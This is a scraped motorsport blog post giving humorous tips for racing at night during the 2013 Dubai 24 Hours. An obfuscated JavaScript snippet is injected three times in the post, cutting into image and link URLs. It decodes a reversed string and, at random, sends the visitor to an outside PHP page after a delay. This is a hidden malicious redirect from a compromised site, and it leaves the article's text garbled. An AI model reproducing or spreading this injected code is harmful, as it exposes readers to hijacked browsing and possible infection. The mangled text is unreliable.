The 2013 Dubai 24hrs has been running under the circuit spotlights for over eight hours now, bringing with it joy and frustration in equal measure up and down the paddock.

We too have done a few tours of pitroad, and having seen several discarded mounds of broken carbon fibre and busted alloys, we thought we’d reveal five iron clad rules to follow when racing at night.

Got a pencil? Then we’ll begin.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/01/Dubai-24-Hours-2013-The-Pits-10.jpg”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/01/Dubai-24-Hours-2013-The-Pits-10-728×485.jpg” alt=”” width=”728″ height=”485″ />

1. A race is won or lost on the driver change, so spend as little time in the pits as possible. $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/gulf-12hrs-dec-2012-par-for-the-af-corse/” target=”_blank”>Take the Gulf 12hrs for instance: AF Corse’s winning margin was less than 30 seconds after half a day of racing.

2. Make sure you keep fatigue at bay by keeping your garage and pitbox spick and span. You never known when members of the media will come by and ask annoying…er, informative questions.

3. Head torches. They’re not just for random blackouts and potholing. Turns out they’re quite helpful for finding out which gasket has blown in your SEAT Leon
